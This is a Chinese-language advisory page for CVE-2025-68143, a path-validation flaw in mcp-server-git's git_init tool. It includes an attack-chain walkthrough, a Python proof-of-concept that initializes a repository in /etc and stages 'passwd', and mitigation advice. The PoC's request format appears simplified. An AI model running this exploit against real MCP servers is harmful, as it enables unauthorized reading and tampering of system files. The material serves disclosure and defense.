IPBUF安全漏洞报告
English
CVE-2025-68143 CVSS 8.8 高危

CVE-2025-68143 mcp-server-git 任意文件系统访问高危漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-68143
漏洞类型
任意文件系统访问
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
mcp-server-git (Model Context Protocol Servers)

相关标签

任意文件系统访问路径遍历mcp-server-gitModel Context ProtocolGit权限绕过CVE-2025-68143高危漏洞

漏洞概述

CVE-2025-68143 是 Model Context Protocol (MCP) 服务器项目中 mcp-server-git 组件存在的一个高危安全漏洞,CVSS 评分高达 8.8。该漏洞源于 git_init 工具在接受文件系统路径时未进行充分的验证和限制,允许攻击者在服务器进程可访问的任意目录中创建 Git 仓库。与 MCP 协议中的其他工具不同,大多数工具要求目标仓库必须预先存在,而 git_init 工具可以直接在任意路径创建新的 Git 仓库,这使得攻击者可以将任意目录纳入 Git 版本控制管理。一旦目录被初始化为 Git 仓库,该目录中的所有文件操作(如读取、写入、删除)都可能通过后续的 git 操作被恶意利用。攻击者可以利用此漏洞对服务器上未经授权的目录进行版本控制操作,从而可能导致敏感数据泄露、文件篡改或进一步的攻击。由于该工具已被完全移除而非修复,用户必须升级到 2025.9.25 或更高版本才能彻底消除该风险。

技术细节

mcp-server-git 是 Model Context Protocol 服务器集合中的一个参考实现,用于在 MCP 协议框架下操作 Git 仓库。漏洞的核心问题在于 git_init 工具的实现缺陷:该工具在接收用户提供的文件系统路径参数后,直接将路径传递给 Git 初始化操作,而未对路径进行任何安全验证(如路径规范化、目录遍历检查、权限验证等)。具体来说,工具接受任意绝对路径或相对路径字符串,并将其作为 git init 命令的目标路径执行。由于服务器通常以较高权限运行,攻击者可以通过构造特定路径(如 /etc、/root、/home 等系统敏感目录),诱使服务器在这些目录中初始化 Git 仓库。初始化后的目录会被隐式地纳入 Git 版本控制体系,后续的 git 操作(如 git add、git commit、git push 等)将能够以服务器权限对这些目录中的文件进行读取和修改。攻击者可以通过 MCP 协议的正常接口调用 git_init 工具,结合路径遍历技术(如 ../../../etc)访问服务器上的任意目录,实现对系统敏感文件和配置的非授权访问与篡改。

攻击链分析

STEP 1
步骤1:侦察与信息收集
攻击者识别目标系统中运行着存在漏洞的 mcp-server-git 服务(版本 < 2025.9.25),并确认该服务暴露了 MCP 协议接口,可接受工具调用请求。
STEP 2
步骤2:构造恶意请求
攻击者通过 MCP 协议的 git_init 工具接口,构造包含任意文件系统路径的请求。该路径可以指向系统敏感目录(如 /etc、/root、/var 等),也可以使用路径遍历技术(如 ../../../etc)绕过基础检查。
STEP 3
步骤3:初始化恶意 Git 仓库
服务器接收到请求后,由于 git_init 工具未对路径进行验证,直接在攻击者指定的位置执行 git init 命令,将任意目录初始化为 Git 仓库,从而绕过正常权限限制。
STEP 4
步骤4:执行后续 Git 操作
攻击者利用 MCP 协议中的其他 Git 操作工具(如 git_add、git_commit、git_status 等),对已被初始化的敏感目录进行文件读取、修改、删除等操作,实现对系统文件的非授权访问和篡改。
STEP 5
步骤5:持久化与横向移动
通过 git commit 将恶意修改持久化到 Git 历史中,或利用获取的敏感配置文件(如 SSH 密钥、数据库凭证、环境变量等)进行横向移动,进一步扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68143 PoC - mcp-server-git arbitrary filesystem access via git_init # Affected: mcp-server-git < 2025.9.25 import json import requests # MCP Server endpoint (typically localhost in development) MCP_SERVER_URL = "http://localhost:3000/mcp" def exploit_git_init_arbitrary_path(target_path): """ Exploit: Call git_init tool with an arbitrary filesystem path to initialize a Git repository at a location outside the intended scope. """ payload = { "tool": "git_init", "arguments": { "path": target_path # e.g., "/etc", "../../sensitive_dir", "/root" } } try: response = requests.post(MCP_SERVER_URL, json=payload, timeout=10) result = response.json() print(f"[+] git_init called on: {target_path}") print(f"[+] Response: {json.dumps(result, indent=2)}") return result except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def exploit_git_operations_after_init(repo_path, file_to_read): """ After git_init on arbitrary path, perform git operations to read/write files. """ operations = [ { "tool": "git_status", "arguments": {"repo_path": repo_path} }, { "tool": "git_add", "arguments": { "repo_path": repo_path, "files": [file_to_read] # e.g., "/etc/passwd" } }, { "tool": "git_commit", "arguments": { "repo_path": repo_path, "message": "malicious commit via CVE-2025-68143" } } ] for op in operations: try: response = requests.post(MCP_SERVER_URL, json=op, timeout=10) print(f"[+] Operation {op['tool']} executed: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Operation failed: {e}") def main(): # Step 1: Initialize Git repo in /etc directory (arbitrary filesystem access) target = "/etc" exploit_git_init_arbitrary_path(target) # Step 2: Perform git operations on the initialized directory exploit_git_operations_after_init(target, "passwd") if __name__ == "__main__": main()

影响范围

mcp-server-git < 2025.9.25

防御指南

临时缓解措施
由于 git_init 工具已被完全移除而非修复,临时缓解措施包括:立即升级 mcp-server-git 至 2025.9.25 或更高版本;在升级前,通过防火墙或网络访问控制列表限制对 MCP 服务器端口的访问,仅允许受信任的客户端 IP 连接;对 MCP 服务器进程实施文件系统级沙箱(使用 seccomp、AppArmor 或 SELinux),限制其可访问的目录范围;启用 MCP 协议的认证和审计功能,记录所有工具调用日志以便及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表